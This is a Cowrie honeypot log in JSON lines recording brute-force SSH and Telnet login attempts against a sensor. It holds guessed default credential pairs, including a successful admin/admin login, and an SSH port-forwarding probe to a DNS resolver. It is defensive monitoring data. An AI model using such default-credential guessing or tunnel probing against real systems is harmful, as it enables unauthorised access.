{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:17.317616Z","src_ip":"83.168.110.85","session":"b5cf4de453f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.16732573509216,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:21.385038Z","src_ip":"152.42.224.71","session":"ea8e07fbf847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55570,"dst_ip":"10.17.0.5","dst_port":22,"session":"5124196355cc","protocol":"ssh","message":"New connection: 83.168.110.85:55570 (10.17.0.5:22) [session: 5124196355cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:23.140541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:23.145426Z","src_ip":"83.168.110.85","session":"5124196355cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:23.266370Z","src_ip":"83.168.110.85","session":"5124196355cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:23.631621Z","src_ip":"83.168.110.85","session":"5124196355cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:24.776636Z","src_ip":"83.168.110.85","session":"5124196355cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00460362434387,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:28.358606Z","src_ip":"152.42.224.71","session":"74e2d784a83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48208,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83a5f66d131","protocol":"ssh","message":"New connection: 83.168.110.85:48208 (10.17.0.5:22) [session: a83a5f66d131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:30.141325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:30.148027Z","src_ip":"83.168.110.85","session":"a83a5f66d131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:30.271245Z","src_ip":"83.168.110.85","session":"a83a5f66d131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:30.637473Z","src_ip":"83.168.110.85","session":"a83a5f66d131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:31.764891Z","src_ip":"83.168.110.85","session":"a83a5f66d131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36704,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab1ad28ba65","protocol":"ssh","message":"New connection: 87.251.64.176:36704 (10.17.0.5:22) [session: aab1ad28ba65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.109973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.114523Z","src_ip":"87.251.64.176","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.210898Z","src_ip":"87.251.64.176","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.507159Z","src_ip":"87.251.64.176","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.606283Z","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.705183Z","src_ip":"87.251.64.176","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:32.804777Z","src_ip":"87.251.64.176","session":"aab1ad28ba65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45484,"dst_ip":"10.17.0.5","dst_port":22,"session":"405601a0fd50","protocol":"ssh","message":"New connection: 83.168.110.85:45484 (10.17.0.5:22) [session: 405601a0fd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:36.900043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:36.905534Z","src_ip":"83.168.110.85","session":"405601a0fd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:37.033188Z","src_ip":"83.168.110.85","session":"405601a0fd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.30621004104614,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:37.239238Z","src_ip":"152.42.224.71","session":"b161e4678a30","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:37.537469Z","src_ip":"83.168.110.85","session":"405601a0fd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:38.665399Z","src_ip":"83.168.110.85","session":"405601a0fd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45494,"dst_ip":"10.17.0.5","dst_port":22,"session":"d805a2c7eeb1","protocol":"ssh","message":"New connection: 83.168.110.85:45494 (10.17.0.5:22) [session: d805a2c7eeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:44.126257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:44.136469Z","src_ip":"83.168.110.85","session":"d805a2c7eeb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:44.251480Z","src_ip":"83.168.110.85","session":"d805a2c7eeb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:44.726650Z","src_ip":"83.168.110.85","session":"d805a2c7eeb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:45.888870Z","src_ip":"83.168.110.85","session":"d805a2c7eeb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36718,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b581991862","protocol":"ssh","message":"New connection: 83.168.110.85:36718 (10.17.0.5:22) [session: d9b581991862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:51.084621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:51.089886Z","src_ip":"83.168.110.85","session":"d9b581991862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:51.211293Z","src_ip":"83.168.110.85","session":"d9b581991862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:51.575815Z","src_ip":"83.168.110.85","session":"d9b581991862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:52.831486Z","src_ip":"83.168.110.85","session":"d9b581991862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.057427406311035,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:55.261574Z","src_ip":"152.42.224.71","session":"d427822806db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":48512,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92018504c80","protocol":"ssh","message":"New connection: 179.61.232.244:48512 (10.17.0.5:22) [session: f92018504c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:55.966899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:55.971482Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:55.998526Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:b0:87:9c:f6:03:8d:84:61:05:a8:91:7e:2c:bb:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtxptHzvsaergJkWZo9vkw+xRqNOYBVn4vlvnid5Xy8xhnVCE3AwYKGh+drBhw54KxE0VDayv2jan7FK/mis2yFjqHNUSZZ2A0hnICyZZYxhlPQZd7FC91iowJVoIylFpBpZ0A0QtwA2+4NtCDiEBxYtqccMpsSoi1WTN9ZZziRr+4WX91cINni/IEt+YLxHr8rOcEskfe+Juptf3CYKMLC67xnzC5kwLHDfNzWPWO5u2nsc5hqy2P1rdAO3SiLV6v6sFawSkh5lKKAUKfLaPywOSa0xFoo2tPsQmBFN0e5xOBuZHsau+zB1+IDQei27rtZ1R9XqCHWPb+7ZSLt72gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:b0:87:9c:f6:03:8d:84:61:05:a8:91:7e:2c:bb:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.115977Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:b0:87:9c:f6:03:8d:84:61:05:a8:91:7e:2c:bb:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtxptHzvsaergJkWZo9vkw+xRqNOYBVn4vlvnid5Xy8xhnVCE3AwYKGh+drBhw54KxE0VDayv2jan7FK/mis2yFjqHNUSZZ2A0hnICyZZYxhlPQZd7FC91iowJVoIylFpBpZ0A0QtwA2+4NtCDiEBxYtqccMpsSoi1WTN9ZZziRr+4WX91cINni/IEt+YLxHr8rOcEskfe+Juptf3CYKMLC67xnzC5kwLHDfNzWPWO5u2nsc5hqy2P1rdAO3SiLV6v6sFawSkh5lKKAUKfLaPywOSa0xFoo2tPsQmBFN0e5xOBuZHsau+zB1+IDQei27rtZ1R9XqCHWPb+7ZSLt72gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:39:56.120350Z","src_ip":"179.61.232.244","session":"f92018504c80","protocol":"ssh"}
